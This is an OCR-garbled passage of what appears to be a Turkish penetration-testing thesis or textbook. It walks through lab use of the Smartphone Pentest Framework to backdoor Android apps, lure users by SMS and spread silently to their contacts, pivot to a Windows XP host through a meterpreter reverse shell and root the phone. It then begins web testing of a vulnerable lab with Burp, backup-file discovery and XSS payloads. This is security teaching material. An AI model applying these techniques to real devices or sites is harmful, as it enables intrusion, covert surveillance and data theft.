uygulamalar kotii amaghi kullanilabilecek Android uygulamalarini kullanmak igin izin istemeli
ve kullanicilar yiikleme sirasinda istenen izinleri kabul etmelidir. Maalesef kullanicilar

genellikle bu kotii amagh erisimlere izin vermektedir.
Kotii amagh SPF yazilimlar: olusturma

SPF ile ¢esitli islevsellige sahip kotii amacgl uygulamalar olusturmak miimkiindiir. Onceki
boliimlerde mobil cihaz modemine saldirmak i¢in SPF aract kullanilmistir. Bu bdliimde ise SPF

ajani1 ylklemesi i¢in kullanicilar1 kandirma islemi gerceklestirilmistir. SPF ajanlar1 http
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iizerinden bir web sunucusuna giris yaparak veya SPF kontroliindeki bir mobil modemin gizli
SMS mesajlart araciligiyla kontrolii ele gecirmektedir. Bu bolimde SPF aracini ilging veya
giivenilir bir uygulama gibi gostermek kontrolii ele gecirme islemini daha basarili bir hale
getirmistir. Olusturulan SPF ajan1 mesru bir uygulamanin igerisine yerlestirilmistir. SPF
derlenmis bir APK uygulamasini ele gegirebilir veya bu SFP ajam ile gizli bir girig
gerceklestirebilir. Eger uygulamanin kaynak koduna sahip olunmussa kaynak kodlarla da

basarili bir sekilde gizli giris yapilabilmektedir.

Gizli giris kaynak kodu (backdooring source code)

Bu boliimde gizli giris kaynak kodu kullanilarak hedef sistem kontroliinii ele gegirme islemleri
gerceklestirilmistir. Bu islemler igin SPF ana meniisiinden 1. secenek olan Ajanlari
Dagitma/Ajan Olusturma segenegi secilmistir. SPF igerisinde bu uygulama ig¢in kullanilacak
hazir birkag sablon mevcuttur. Segenek 4 ile (Bir ajan sablonunu ige aktar) herhangi bir kaynak
kodu SPF igerisine aktarilabilmektedir. Kimligine biirtiniilmek istenen uygulama i¢in herhangi
bir kaynak kod mevcut degilse derlenmis bir gizli giris APK’si kullanilabilmektedir. Bu islem
icin SPF Mentisiinden 5. segenek (APK ajanlar1 ile Androide gizli giris) secilmistir. Cihazda
yiiklii olan uygulamalar1 gizli giris stirimilyle degistirmek icin Android Master Key giivenlik

ac1g1 kullanilmistir.

t Ar Cotion from the Menu

Sekil 3.287. SPF ajani olusturma.
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Sekil 3.287.’de MappsDemo o6rnegi kullanilmustir. Islevsellik gostermesi amaciyla google
tarafindan Android SDK ile dagitilmistir. Istenildiginde SMS komutlarini gondermesi i¢in SPF
aracina telefon numarasi ve 7 karakterli kontrol anahtar1 bilgileri verilmistir. Http komutlar1 i¢in
kontrol edilecek dizin bilgileri de verilmistir. Bu degerler SPF uygulamasi olusturulurken
kullanilan degerlerle aynidir. Bu uygulamada Android 4-3 emiilatoriiniin telefon numarasi
kontrol telefon numarasi olarak kullanilmistir. Bu islemlerden sonra kullanier ilgili uygulamay1
indirmek i¢in tegvik edilecektir. Bu islem i¢in SPF meniisiinden 6. Segenek (Sosyal miithendislik

veya kullanici tarafli saldirilar) secenegi segilmistir.

iirectly download and tnstall an Ageat

(At /neterpreter i) Agent

Sekil 3.288. Ajani kurmak i¢in kullaniciya giris yapma.

Sekil 3.288.’de Android ajan1 veya meterpreter oturumu gonderilece8i bilgisi verilmistir.
Android 2-2 emilatoriine varsayilan metni iceren bir SMS goéndermesi i¢in SPF’nin
gonderilecegi yol bilgisi, web sunucusundaki uygulama adi ve saldir1 vektoriiniin saldiracagi
numara bilgileri verilmistir. Android 2-2 emiilatoriine SMS gittiginde SMS ile gelen baglanti
tiklandigi zaman uygulama yiikklenmeye baglamistir. Zararli uygulama Sekil 3.289.°da
goriildiigi gibi orijinal Google Haritalar demosu gibi goriinmiistiir ancak arka planda bazi ekstra

islevler olmaktadir.

wij

Maplaw

MgV aw ang Lompass

Sekil 3.289. Gizli giris uygulamasi.



246

SPF’yi gonderilmis ajana ekleme islemi gerceklestirilmistir. Cok fazla kisiye SMS
gonderilmigse ne kadar sayida kullanicin ne hizda ajani yiiklediginin bilinmesi giictiir.
Gonderilen ajanin nasil fonksiyon gosterdigini gonderilip gonderilmedigini anlamak amaciyla

kullanilan SPF kontrol 6zelligi mevcuttur.
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Sekil 3.290. SPF’yi gonderilen ajana ekleme.

Sekil 3.290.’da SPF’yi gonderilen araca eklemek i¢in Framework’ii Gonderilen Ajana Ekle
secenedi olan 1. segenek secilmistir. lgili yol, iletisim ve anahtar bilgileri verilmistir. SPF
ajanin yanit vermesini beklerken bir dakika bekletilmistir. Meniiye doniildiikten sonra ajana
baglanilmis olmasi gerekmektedir. Baglant1 saglandiktan sonra meniiden 2. Sec¢enek olan ana
meniiden ajana komutlar1 gonder segenegi secilmistir. Bu islemden sonra veri tabanindaki
ajanlarin bir listesi sunulmustur. Ayn1 zamanda SPF’ye yeni eklenen ajan da liste icerisinde

mevcuttur.

Gizli giris APK dosyalar: (Backdooring APKs)

Dagitilmis SPF aract kullanilmadan oOnce daha karmasik bir ajan olusturma yontemi
gerceklestirilmistir. Her zaman gizli giris i¢in uygulamanin kaynak kodlarima sahip
olunamayabilir. Bu durumda SPF daha oOnceden derlenmis APK dosyalariyla da
calisabilmektedir. Google Play Store’daki uygulamalar da dahil olmak {izere herhangi bir APK
bu kapsam dahilindedir. lgili islemler Sekil 3.291.’de goriildiigii gibidir.
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Sekil 3.291. APK dosyalariyla gizli giris.

SPF varsayilan olarak APK’lar1 derlemek i¢in gerekli dosyalar1 yiiklemez. Bu islem igin onay
istemektedir. Onay verildiginde ilgili APK tool’lar1 yiiklenmis ve isleme devam edilmistir.
Ajanin ayarlarinin set edilebilmesi icin Sekil 3.292.’de goriildiigii gibi SPF kontrol telefon

numarasi, kontrol anahtar1 ve kontrol yollarnin verilmesi gerekmektedir.

Sekil 3.292. Opsiyonlar1 ayarlama.

APKtool backdoor’lar1 APK’yi yeniden derledikten sonra imzalanmasi gerekmektedir. Android
cihaz1 bir kurulum esnasinda APK iizerinde bulunan imzalar1 kontrol etmektedir. Eger imzalar
mevcut degilse kurulum islemi reddedilecektir. Google play uygulamalar1 google play’a kayitl
bir gelistirici anahtar1 kullanilarak imzalanmistir. Uygulamalar1 emiilatér ve google play
uygulamalari ile sinirl tutmamak i¢in yalnizca google’a ait olmayan bir hata ayiklama anahtari
kullanilmaktadir ama uygulamanin imzalanma gerekliligi ortadan kalkmamaktadir. Kaynak
Kodu Backdoor’larinda bu kisim atlanmistir ¢linkii kodlar, kodlar1 varsayilan android
anahtarlartyla otomatik olarak imzalayan Android SDK ile derlenmistir. APKTool’larda
imzanin yeniden manuel olarak olusturulmasi gerekmektedir. Pentest uzmanlarmin ve

saldirganlarin Android imza dogrulama siirecini atlatarak, uygulamanin 6nceden kurulmus
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mesru bir uygulamanin gilincellemesi gibi goriinmesini saglayan Android Master Key gilivenlik
aciginin kullanilip kullanilmayacag: sorulacaktir. Baska bir deyisle mesru uygulamalarin zararh
kod ile degistirilmesine izin verilecek ve Android sistemi bu kodlar1 uygulamay satan firmadan
gelen mesru glincellestirmeler olarak gorecektir. Hedef cihaz Android Master Key giivenlik
agigina kars1 savunmasizsa, ilgili uygulamanin imzalanmasi islemi Kali’deki android anahtarlari

icerisindeki varsayilan anahtar ile gerceklestirilmistir.

Mobil gonderi somiiriiler

flgili cihaza erisim saglandiktan sonra kisiler veya alman SMS mesajlar1 gibi cihaz iizerinden
bazi veriler toplanabilir ve resim ¢ekmek gibi islemleri yaptirmak igin cihaz uzaktan kontrol
edilebilir. Eger cihaz lizerindeki yetkiler yetersizse cihaz iizerinde yetki yiikseltme islemleri
yapilarak admin yetkilerine erisilebilmektedir. Hatta somiiriilen mobil cihazlar agdaki diger
cihazlar1 somiirmek i¢in kullanilabilmektedir. Bu saldir1 cihaz dogrudan sirket agina bagliysa

veya birine erismek icin VPN kullaniliyorsa daha faydali sonuglar vermektedir.
Bilgi toplama

Virtsliit  cihaza kurulu uygulamalarin  bir listesi alinarak bilgi toplama islemi
gerceklestirilmektedir. SPF Meniisiinden sirastyla 2. Ajana Komut Gonder ve var olan ajanlar
listesinden Onceden olusturulmus ajan segildikten sonra asagidaki islemler uygulanarak cihaz

tizerinden komut ytritiilebilmektedir.

Sekil 3.293. Bir ajan ile cihaz lizerinde komut yiiriitme.
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Sekil 3.293.’de viriislii cihaz tizerinde yiiklii uygulamalarin listesi alinmistir ve komutun http ile
iletilmesi belirtilmistir. Ajanlar http ve sms ile iletisim kurup komut alabilmektedir. Buradaki
islemler gergeklestirildikten sonra ana meniiye girmek icin 0 degeri girilmistir ve bir dakika

sonra 3. Toplanan bilgileri goster segenegi secilmistir.

Sekil 3.294. Toplanan bilgi verileri.

Toplanan bilgilerin listesine Sekil 3.294.”de goriildiigii gibi erisilmistir.

Uzaktan Kontrol

Bu boliimde cihazi uzaktan kontrol etmek ig¢in olusturulan ajanin kullanimi islemleri
gerceklestirilmistir. Cihaza SMS uygulamasinin gonderilen mesajlarinda goziikkmeyecek bir kisa
mesaj gondermesi soylenebilmektedir. Yani kullanicinin bir mesajin gonderildigine dair
herhangi bir kaniti olmayacaktir. Buradan kullanicinin tiim kisileri alinip SPF ajanini isaret eden
uygulamay1 yiiklemeleri gerektigine dair mesajlar atilabilmektedir. Tanidiklar1 birinden mesaj

alan kurbanlarin uygulamay1 yiikleme ihtimalleri daha yiiksek olacaktir.
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Sekil 3.295. Ajan ile uzaktan kontrol.

Sekil 3.295.”deki islemle Android 2-1 emiilatérii Android 2-2 emiilatoriinden bir mesaj almustir.
Mobil cihazlar iizerinde pivoting

Mobil cihaz yonetimi (MDM) ve mobil antivirlis uygulamalarinin gidilecek uzun bir yolu
vardir. Mobil cihazlarin giivenlik problemlerini ¢ozebilen sirket sayisi azdir ve ¢ogu sirket
kullanicilarinin mobil cihazlarm sirket ag1 lizerinden kullanmasina izin vermemektedir. Ancak
calisanlarin birgogu sirketlerin kablosuz ag sifrelerini bilmektedir. Mobil cihazlar bir sirket
agina baglandiginda internetten gelen herhangi bir saldiriya agik haldedir. Zayif parolalar, eksik
yamalar ve giincel olmayan istemci tarafi yazilimlari i¢ agda gizlenen sorunlarin tiimiinii
olusturmaktadir. Eger somiiriilen bir mobil cihaz savunmasiz sistemlere dogrudan bir erisime
sahipse cevre bilesenleri direk atlanarak ek saldirilar yapmak icin Sekil 3.295.’de goriildigii
gibi mobil cihaz bir pivot olarak kullanilmistir. Bir agdan digerine ge¢mek igin bir makine
kullanimi 6nceki boliimlerde gerceklestirilmistir. Ayni islemler mobil agda somiiriilen mobil

cihaz lizerinde etkin ve hizli bir sekilde ¢alisan SPF ajani kullanilarak ta gergeklestirilmistir.
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Sekil 3.296. Dahili cihazlara saldirmak i¢in viriislii mobil cihaz {izerinde gezinme.

Mobil cihaz aracilifiyla yapilan Pivoting islemlerinde ilk dnce nmap araciligiyla port islemi

gerceklestirilmektedir. SPF {izerinde nmap ve benzeri araglar i¢in komut dosyalar yiikliidiir.
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Sekil 3.297. Android i¢in nmap yiikleme.

Sekil 3.297.’de Android i¢in nmap komutlar1 yiiklendikten sonra SPF meniisiinden 12. Secenek

ile nmap tarama islemi gergeklestirilmistir.
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Sekil 3.298. Android tlizerinden nmap calistirma.
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Sekil 3.298.’de nmap hedefine Windows XP cihazinin ip adresi verilmistir ve iletim yontemi
http olarak belirlenmistir. Nmap tarama islemi sonucunda 21 numarali tcp portunun Windows
XP cihazi {izerinde agik oldugu goriilmiistiir. Port tespitinden sonra ag iizerindeki cihazlarin
somiirii islemi gerceklestirilmistir. Android cihazlar python ve perl gibi betik dilleri
algilayamamaktadir. Android cihazlar tizerinde somiirii yapabilmek i¢in ¢ dili kullanilmaktadir.
War FTP i¢in basit bir C dili versiyonu olan warftpmeterpreter.c komut dosyasi smartphone
pentest framework exploit dosyasi icerisinde mevcuttur. Dahil edilen oturum elde etme kodu
windows/meterpreter/reverse tcp payload’i1 c¢alistirmaktadir ve 4444 numarali baglanti
noktasindan Kali cihaz1 ip adresine geri gondermektedir. ilgili payload belirlendikten sonra

Android cihazda calistirmak i¢in C kodunu derlemek gerekebilir.
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Sekil 3.299. C kodunu android iizerinde ¢alistirmak i¢in derleme.

Sekil 3.299.°da derleme islemi icin ARM Android kullanilmigtir. Bu islemlerden sonra War
FTP sOmiiriistiniin virislii android cihazina indirilmesi gerekmektedir. Bu islem yapmak i¢in

Ajan meniisii seceneklerinden dosya indirme segenegi olan 6. Secenek secilmistir.
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Delivery Nethod(S5 or HTTP): HITP

Sekil 3.300. Exploit indirme.

Sekil 3.300.’de indirilen exploit calistirlmadan once msfconsole iizerinden multi handler

modiilii agilmistir ve opsiyon ayarlart yapilmustir.
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[*] Started reverse handler on 190 )68 97, 13744044

[*] Starting the saylosd hendler. .

Sekil 3.301. Multi/handler modiili.

Sekil 3.301.°deki islem tamamlandiktan sonra SPF ajan meniisiinden komutu calistir segenegi

olan 7. Secenek Sekil 3.302.”de goriildiigii gibi ¢aligtirilmustir.
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Sekil 3.302. Exploit’i ¢alistirma.
SPF’ye caligtiracagi tam komut bilgisi iletim yontemi bilgileri verilmigstir. Tam komuttaki ip
bilgisi hedef makine olan Windows XP makinesinin IP degeridir ve 21 TCP Port numarasidir.

Bu islemlerden sonra hedef sistem iizerinde SPF iizerinden bir meterpreter oturumu elde

edilmistir.
Yetki yiikseltme

Linux ¢ekirdegine dayanan Android Linux’ta bulunan bazi ayricalik yiikseltme zafiyetlerini ve

giivenlik hatalarini bulundurmaktadir.
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Sekil 3.303. Yetki yiikseltme exploiti.

Sekil 3.303.’de SPF’nin bildigi Android sémiiriilerinden biri manuel olarak se¢ilebilmekte veya
SPF’nin android slirim numarasini temek alarak bir se¢im yapmasina izin verilebilmektedir.
Android 2-2 emiilatorii rageagainstthecage isimli bir somiiriiye kars1 savunmasizdir. Bu somiirii
eski bir sOmiirii olmasina ragmen Android 2-2 emiilatorii tizerinde caligmaktadir. SPF bu
sOmiriliyii otomatik olarak secmistir. Dogru adres ve teslim yontemi SPF aracina verilmistir. Bu
somiirii islemi gerceklestirildikten birkag dakika sonra ana menii iizerinden 3. Secenekle elde
edilen oturum yetkileri kontrol edilmistir. Oturum yetkisi Rooted: RageAgainstTheCage
seklinde elde edilmistir ve boOylece oturum fiizerinde her tiirlii islem yapma yetkisi elde

edilmistir.
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4. WEB UYGULAMA GUVENLIGIi

Kurumsal firmalarin internet uygulamalarinda var olan zafiyetler ve gilivenlik agiklar
saldirganlarin i¢ aglara kadar erisim saglamasina imkan verdiginden kullanicilarin hassas
bilgilerini isleyen web uygulamalarinin giivenlik testlerinin yapilmasi son derece dnem arz
etmektedir. Web sunucu yapilar1 karmasik bir yapiya sahiptir ve veri tabani uygulamalar1 kod
enjeksiyon (SQL Injection) saldirilarina agik halde bulunabilmektedir. Bu durum ve yazilmayan
kodlar kurumlari gesitleri saldirilara agik hale getirmektedir. Kullanicidan bir girdi alan ve arka
planda kod c¢alistirarak veri tabani ile etkilesime gecen uygulamalar web saldirilarini
kolaylastirmaktadir. Web uygulamalariin ¢ok cesitli konfigiirasyon ve servislere acgik olmalari
ve kullanic1 izinlerinin ¢esitliligi durumu web saldir1 vektorlerini gogaltmaktadir. Web
uygulama zafiyetleri ag katmanindan g¢ok uygulama katmanindaki ve http protokoliindeki
eksikliklerden olusmaktadir. Web glivenliginin saglanmasit amaciyla kullanici girdilerinin
siklikla denetlenmesi, web sayfalarmin ¢ikti kodlama-output kod yontemiyle yazilmasi
gerekmektedir. Cikti kodlama yontemi sistem ve hata yakalama mekanizmalarinin kritik
bilgileri sizdirabilecek hata mesajlarinin kullaniciya yansitilmamasi durumudur. Boylece dnemli
verilerin saldirt sirasinda kullanilmasini 6nlemek amaciyla gonderilen veriler uygun bir formata
dontstiiriilmiis olur. Veri tabanlarinda parametre baglama yontemi kullanilmalidir. Parametre
baglama yontemi calistirilan veri tabani sorgusu ile igerigindeki verilerin kodlama ve kagis
islemlerinden gegirilerek verileri birbirinden ayristirmaya dayanan bir yontemdir. Ag trafigi
dinlenerek veri sizdirma islemlerine acik olan http protokoliiniin yerine HTTPS, SSL ve TSL
gibi giicli sifreleme algoritmalarinin bilesimini destekleyen protokollerin dizayn edilmesi
gerekmektedir. Durmadan sifre yenileme ile parola gilivenligini saglamak yerine yeni
olusturulan parolalarin zorunlu olarak gecerliligini denetleme yonteminin kullanilmasi web
giivenligi agisindan daha sagliklidir. Sisteme girislerde ¢ok faktorlii veya iki faktorlii kimlik
dogrulama iglemlerinin gerceklestirilmesi gerekmektedir. Kendi igerisinde bir nevi farkli kimlik
dogrulama mekanizmasi1 bulunduran yetkilendirme islemlerinin yapilmasi gerekmektedir. Bu
calisma kapsaminda zafiyetli bir web sitesi iceren laboratuvar iizerinde Burpsuite proxy
yapilandirma islemleri, haritalandirma islemleri, unutulmus dosya kesfi, hatali oturum yonetimi
islemleri, Reflected ve Stored XSS zafiyetlerinin somiiriilmesi, Local File Inclusion islemleri,
SQL Injection saldirilari, Sqli authentication bypass islemleri, sqlmap aract kullanimi, dosya
yiikleme zafiyetleri, RCE (Remote Code Execution) ve kaba kuvvet saldirilart ayri ayri

uygulamalarla gerceklestirilmistir.
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4.1. Web Uygulama Giivenligine Giris ve Zafiyetli Makine

Bu boliimde web uygulama giivenligi konusu boyunca kullanilacak zafiyetli makine ele
almmustir. Indirilen zafiyetli makine .ova uzantili dosyast1 Vmware Workstation araciligiyla
kurulmustur. Sanal makine ile kurulan web sayfasinda herhangi bir css kodu bulunmamaktadir.
Fakat web sayfalarinin giivenliginin css kodu ile herhangi bir baglantis1 yoktur. Bu nedenle
kurulan sanla makine web uygulamalarinin giivenligini incelemek agisindan yeterlidir.
Gorsellikten c¢ok site lizerinde input verilebilecek yerler, site iizerinde bulunan gizli dizinler
veya site tizerinden gizlice dizin ¢ekilebilecek yerler giivenlik agisindan odaklanilmasi gereken

yerlerdir. Sekil 4.1.’zafiyetli web uygulamasi gosterilmektedir.

Penetration Tester Kursu Zafivetli
Web Uygulamasi

« Unutulmus Yedek Desynlan o Stored X85
* Utiruy Yonetin) o Salitdstion
* Hetlocted XS5 * File liploni
. LK o [DOR

* BCE * Brute Farco

Sekil 4.1. Zafiyetli web uygulamasi.

4.2. BurpSuite Proxy Yapilandirma

Bu bolimde Burpsuite Proxy kurulumu islemi yapilmistir. Burpsuite bir proxy yani bir ara
sunucudur. Bilgisayar tarayicisi lizerinden google’a gidilmek istendiginde google lizerine bir get
istegi atilmaktadir. Bu istek ilk dnce proxy iizerinden gecerek google’a yonlendirilmektedir.
Proxy bazi durumlarda gizlilik saglamak i¢in bazi durumlarda isteklerin yonetilmesi igin
kullanilmaktadir. Bu ¢alismada isteklerin yonetilmesi i¢in proxy kullanilmistir. Proxy’nin kendi
Ozelliklerine bagli olarak zafiyet tarama gibi bircok islem proxy’ler aracilifiyla
gerceklestirilebilmektedir. BurpSuite bu amagla en ¢ok kullanilan proxy’dir. Burpsuite Kali
icerisinde web uygulamalari alaninda mevcuttur. Burpsuite ve web tarayicinin entegre ayarlari

Sekil 4.2.”de goriildiigii gibi yapilandirilmistir.
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Sekil 4.2. Tarayic1 konfigilirasyon ayarlari.

Burada tarayici konfigiirasyon ayarlart tamamlandiktan sonra tarayici tizerinden google’a
girilmek istendiginde bu islem engellenecektir. Bunun nedeni BurpSuite proxy intercept’in agik
olmasidir. Bu durum isteklerin google’a yonlendirilmesini engellemektedir. Intercept

kapatildiginda ilgili istekler google lizerine yonlendirilmektedir.

4.3. Haritalandirma Islemi

Bu boliimde haritalandirma iglemleri gergeklestirilmistir. Banka, holding, hastane veya e-ticaret
gibi sitelerin iizerinde istek atilacak ve girdi yapilacak bir¢ok yer mevcuttur. Yani bu
uygulamalar {izerinde potansiyel olarak saldirabilecek bir¢ok nokta mevcuttur. Bu noktalarin
her birinin saptanmasi ve listelenmesi islemine haritalandirma islemi denmektedir. Bu islem igin
BurpSuite proxy’si kullanilmistir. BurpSuite Target Site map kismindan istek atilan yerler Sekil

4.3.”deki gibi sunulmustur.
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Sekil 4.3. Burp Suite lizerinde istekleri goriintiileme.

Goriilecegi lizere istek listesi site lizerinden atilan tiim istekleri gorlintiilemektedir. Bu durum
kafa karisikligina yol acacagi icin ilgili istege sag tiklanarak add to scope secenegi ile ilgili istek
hedef alinabilmektedir. Yukarida goziiken filter kismina bir kere tiklanarak show only in scope
secenegi ile de sadece ilgili istegin goriinmesi saglanabilmektedir. Site haritalandirma islemi
i¢in BurpSuite icerisinde bulunan spider modiilii kullanilmustir. Tlgili islem icin hedef siteye sag
tiklanarak spider this host se¢enegi tiklandiginda bu host {izerinden gidilebilecek bazi dosyalar
ve tiklanilabilecek her yere tiklanarak her yere istek atilmaya galisilmistir. Bu islemlerin

sonucunda hedef siteye veri verilebilecegi bir post istegi bulunmustur.
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Sekil 4.4. Hedef site lizerindeki post istegi.

Sekil 4.4.’de tespit edilen form istegine submit komutu verildiginde bulanabildigi kadar form

bulunulmas1 saglanmistir.
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Sekil 4.5. {lgili site iizerinden gidilebilecek yerler.

Sekil 4.5.”de spider modiilii site tizerinden gidebilecegi bircok yer tespit etmistir. Backup-files
dosyasi site tizerinden gidilebilecek bir get istegini temsil etmektedir. Ayni zamanda robot.txt
dosyasi icerisinden adminpanel, secrets gibi dosyalarin tespiti de saglanmistir. Yani hedef site

tizerinde gidilebilecek her yerin tespiti yapilmistir. Bu islem ¢ok biiyiik siteler ilizerinde
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uygulandiginda oldukca zaman alan bir islemdir. Islem tamamlandiktan sonra BurpSuite spider

sekmesinden spider modiilii Sekil 4.6.’da goriildiigii gibi durdurulabilmektedir.
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Sekil 4.6. Spider modiiliiniin durdurulmasi.

Goriilecegi lizere toplam 101 istek atildigr goriilmektedir. Biiyiik sitelerde bu istek sayisi
oldukga fazladir ve bilgisayarin yeterli donanima sahip olmamasi durumunda oldukga kasan bir
islemdir. BurpSuite’in sag tarafinda site lizerinde get istegi atilabilecek yerler Sekil 4.7.’de
goriildiigi gibi gosterilmektedir.
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Sekil 4.7. Get istekleri.




261

Burada Admin Panel {izerine get istegi atildigr gortilmektedir. Ancak get isteginin yaninda
herhangi bir parametre bulunmamaktadir. Sadece parametreli (kullanici adi veya sifre igeren)
get istekleri goriintiillenmek istendiginde filter kismindan parametreli istekleri ve istekleri goster
segenekleri segilerek sonuglar filtrelenebilmektedir. Bu sekilde site iizerindeki get ve post
yerleri saptanabilmektedir. Bu saptamalardan sonra ilgili noktalarda zafiyet arama islemi

gerceklestirilmistir.
4.4. Unutulmus Dosya Kesfi

Bu boliimde pentest islemleri sirasinda sikga karsilasilan unutulmus yedek dosyalari lizerinden
saldir1 islemleri gerceklestirilmistir. ilgili islem igin zafiyetli web sitesi laboratuvarinin

Unutulmus Yedek Dosyalari linkine tiklanmistir.

Unutulmus Dosyalar

Yaygin uvzantilar: =, bak, backup, te8 copy, save, old, rar, gp, targe

‘ahiyet raforany ?'.Ii;r.-,';'.\ WW owasp org/incdox php
(Haview Oid, Beckup und Unreferenced Files for Sensuve Information (OTG-CONFIG-004)

Sekil 4.8. Unutulmus yedek dosyalar.

Uygulama gelistirme esnasinda bir index.php dosyasinin oldugu varsayilsin. Uygulama
gelistirme islemi tamamlanmis ve her sey calisir vaziyetteyken yeni bir sey ekleme veya
giincellenme islemlerinde eski dosyanin bozulmasindan korkulmasi sebebiyle ilgili index.php
dosyasinin Sekil 4.8.de belirtilen ¢ok yaygin uzantilarla yedeklenip web sunucu iizerinde
birakilmas1 miimkiindiir. Penetrasyon testi esnasinda bu uzantidaki dosyalar bulunarak bu
dosyalardaki bilgiler aracilifiyla siteye erisim saglama senaryolart olusturmak miimkiindiir.
Bunlara ek olarak, uygulama tamamlandiginda bir yedegini tutmak amaciyla uygulama
sikistirthp  tiim  kodlar yedeklenebilmektedir. Yedek alma islemlerinde bir problem
bulunmamaktadir fakat bu yedek dosyalarin sunucular iizerinde disariya agik bir sekilde
birakilmasi bir zafiyet dogurmaktadir. Bu zafiyeti tespit edebilmek igin spesifik uzantilarla
dosya arama islemi yapilmistir. Bu islem site lizerindeki kodlara gore degisen (.net ise Once
dizinlere bakilir, panel varsa panelde dosyalara bakilir, user.aspx varsa user.aspx.back gibi
dosyalara bakilir.) dosya uzantilartyla gergeklestirilmektedir. Bu ¢alismadaki zafiyetli site php
ile yazilmistir. Sekil 4.9.’daki gibi unutulmus dosyalarin kesfi i¢in bir wordlist olusturulmustur.

Dizin aramada yapilan islemler gerceklestirilirken dirbuster aract kullanilmustir.
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Sekil 4.9. Wordlist.
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Sekil 4.10. Dirbuster.

Sekil 4.10.’da hedef sistem uzantisi, wordlist’in bulundugu dosya uzantis1 ve yaygin uzantilar
bilgisi dirbuster aracina verilerek arama islemi baslatilmistir. Arama sonucu hedefte bulunan

unutulmus dosyalar Sekil 4.11.”de goriildiigii gibidir.
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Sekil 4.11. Arama sonuglart.

Burada bulunan backup dosyalarindan config.php.bak dosyasi indirildiginde Sekil 4.12.°de
goriildiigl gibi mysql veri tabani baglant1 bilgileri gibi kritik bilgilere ulasilmistir.
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Sekil 4.12. Config.php.bak.

4.5. Hatali Oturum Yonetimi

Bu bélimde oturum yonetimlerinin yanlis yapilmasindan kaynakli olugsan web =zafiyetleri
somiiriilerek saldir1 islemi gerceklestirilmistir. Ilgili islem icin Sekil 4.13.’de gosterilerilen

laboratuvarin oturum yonetimi linki incelenmistir.

Sekil 4.13. Oturum yonetimi.

Oturum yonetimi linkinin direk bir login sayfasina yonlendirmesinin sebebi daha 6nce bu siteye
girig yapilmamig olmasidir. Daha 6nce bir girig yapilmis olsaydi ve oturum kapatilmasaydi direk
olarak oturum acilmis bir sayfaya yonlendirme yapilacaktir. Giris yapilmadig: tespit edildiginde

o anki kodlarin c¢alismasini durduracak bir fonksiyon cagrilmiyorsa yonlendirme islemi
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durdurularak o anki sayfaya erisim saglanabilmektedir. Bu iglem igin burpsuite araci

kullanilmustir.
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Sekil 4.14. BurpSuite.

Sekil 4.14.’de oturum yonetimi sayfasina bir get istegi atilmis ve yanit olarak bir 302 kodu
donmiigtiir. 302 yanit kodunun anlami bir sayfaya yonlendirme isleminin yapildigidir.
Yonlendirilme esnasinda ana sayfadaki kodlarin ¢alismasimi 6nleyen bir fonksiyon ¢agrildigini
kontrol etmek igin ctrl+r ile istek repeater’a atilmistir. Repeater BurpSuite’in istekleri tekrar
gondermesi amaciyla yapilmis bir modiildiir. Istek tekrar gonderildiginde BurpSuite iizerindeki

islem Sekil 4.15.”de goriildiigii gibidir.
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Sekil 4.15. Html kodlari.

Yonlendirme yapilirken o anki sayfada c¢alisan kodlar1 Onleyen herhangi bir fonksiyon
bulunmadigr goriilmektedir. Bu durum da giris yapilarak goriilmesi gereken bir yerin giris
yapilmadan da goriilmesine sebep olmaktadir. Bu zafiyetin Onlenmesi i¢in uygulama

gelistiricinin kod yazarken die() komutunun yonlendirmeden sonra kullanilmasi gerekmektedir.
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4.6. Reflected XSS

Bu boliimde yillardir popiilerligini saglayan XSS zafiyeti sOmiiriilerek saldirt islemi
gerceklestirilmistir. Bu islemler ig¢in Sekil 4.16.’da goriilen laboratuvarin Reflected XSS linki

incelenmistir. XSS zafiyetlerinin Reflected ve Stored olmak iizere iki tiirii mevcuttur.

Ara: sEurEh

Sorrasi Howm

Zufiyet Referanalur htpa/www.owasp.orgindes php/iCross-aite Seripting (XS5)

Sekil 4.16. Reflected XSS.

Reflected XSS zafiyeti kullanicidan alinan herhangi bir girdinin herhangi bir dogrulama
fonksiyonundan ge¢meden dogrudan ekrana ¢ikti olarak verilmesinden olugsmus bir zafiyettir.
Herhangi bir arama butonuna a harfi verildigi varsayilsin. A harfi direk ekrana ¢ikt1 olarak
geliyorsa Reflected XSS zafiyeti mevcuttur denilebilmektedir. Bunun kontroliinii yapmak
amaciyla arama butonuna “<script>alart(1)</script>" front end komutu girilmis ve arama
komutu ilgili kodu g¢alistirdiginda Sekil 4.17.’de goriildiigii gibi ekrana “1” yazan bir popup

¢ikt1 olarak verilmistir. Yani bu site tizerinde Reflected XSS zafiyeti mevcuttur.

oK

Sekil 4.17. <script>alert(1)</script> komutu sonucunda olusan XSS zafiyeti.

Burada goriilen zafiyet kullanilarak kullanici bir yere yonlendirilebilir, kullanicinin cookie
bilgisi ¢almabilir ve bu bilgilerle sanki kullanictymis gibi bir yerlere girig yapilabilir. Biitiin
bunlara ek olarak kullanicinin bir yerlere istek atmasi saglanabilir. Location href = ‘https://..’
komutu ile kullanici istenilen yere yonlendirilebilmektedir. Fakat bazi durumlarda blacklist’ler
kullanilarak script etiketleri engellenebilmektedir. Bdyle durumlarda <body onload=alert(1)/>

—9,%

komutuyla ya da <img source ="a” oneerror = alert(1) /> komutuyla bu islem yapilabilmektedir.
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Burada denenecek etiketler veya fonksiyonlar java script dili bilinirse daha kolay
kullanilacaktir. Bu zafiyetin engellenmesi icin blacklist’ler iyi bir yontem degildir. Bunun
yerine kullanicinin verebilecegi seylerin kisitlanmasi gerekmektedir. Kullanici higbir 6zel

karakter(<, >) verememeli ya da verildiginde 6zel karakter encode edilmelidir.

4.7. Stored XSS — Session Hijacking

Bu bolimde Stored XSS zafiyetlerinn somiiriilmesi ve Session Hijacking islemleri
uygulanmigtir. Bu islemler igin Sekil 4.18.’de gosterilen laboratuvarin Stored XSS linki

incelenmistir.

Ziyareici Deftori

Name

Email

Comment

Tiiia

Ziyarelc)l Defterinl Kontral EX

Zofivet Reforanst: https /www owasp.org/index php/Crosssite Scripting (XS5)

Sekil 4.18. Stored XSS.

Stored XSS zafiyetleri, Reflected XSS zafiyetlerinde oldugu gibi site {izerinden verilen bir
verinin herhangi bir kontrolden gecirilmeden ekrana ¢ikti olarak verilmesinden kaynakli bir
zafiyettir. Reflected XSS zafiyetlerinden farki site tizerinde kayith olan verilerin durmadan
ekrana bastirilmasindan kaynaklanmasidir. Bu sebeple ilgili site {izerine kayitli olarak verilen
bir veriyi goren herkesi etkileyen bir zafiyettir. Reflected XSS zafiyetine gore etki alan1 daha
